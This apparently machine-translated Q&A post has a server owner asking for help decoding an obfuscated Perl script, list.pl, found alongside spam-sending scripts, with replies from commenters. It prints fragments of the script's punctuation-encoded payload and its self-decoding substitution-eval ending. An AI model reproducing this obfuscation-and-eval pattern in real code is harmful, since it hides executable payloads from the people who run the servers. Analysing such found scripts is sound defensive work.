我的服务器上有一些垃圾邮件问题,并找到并删除一些Perl和PHP脚本后,我下来检查他们真的做什么,虽然我是一个高级PHP程序员,我有一点经验Perl中,任何人都可以给我一个手的剧本在这里:解密混淆perl脚本
(这是一个代码长行,脚本被称为list.pl)
脚本的开始是:
$??s:;s:s;;$?::s;(.*); ]="&\%[=.*.,-))'-,-#-*.).<.'.+-<-~-#,~-.-,.+,~-{-,.<'`.{'`'<-<--):)++,+#,-.{).+,,~+{+,,<)..})<.{.)-,.+.,.)-#):)++,+#,-.{).+,,~+{+,,<)..})<*{.}'`'<-<--):)++,+#,-.{).+:,+,+,',~+*+~+~+{+<+,)..})<'`'<.{'`'<'<-}.<)'+'.:*}.*.'-|-<.+):)~*{)~)|)++,+#,-.{).+:,+,+,',~+*+~+~+{+<+,)..})
它仍然具有珍贵的一些非标点字符,直到最后一刻:
0-9\;\\_rs}&a-h;;s;(.*);$_;see;
看起来像普通的Perl对我来说......你确定这个脚本不是商业授权的故意模糊的脚本吗?我们不是为了帮助您违反许可协议。 – 2012-03-06 20:51:28
我很想知道这是否有用,但我并不想在工作中运行它。它让我想起了[这些]其中一个(http://www.cpan.org/misc/japh) – MattLBeck 2012-03-06 20:53:08
即使是一个经验丰富的Perl程序员也会面对这样的垃圾。它的作用并不重要;这是可怕的代码。 – 2012-03-06 20:55:59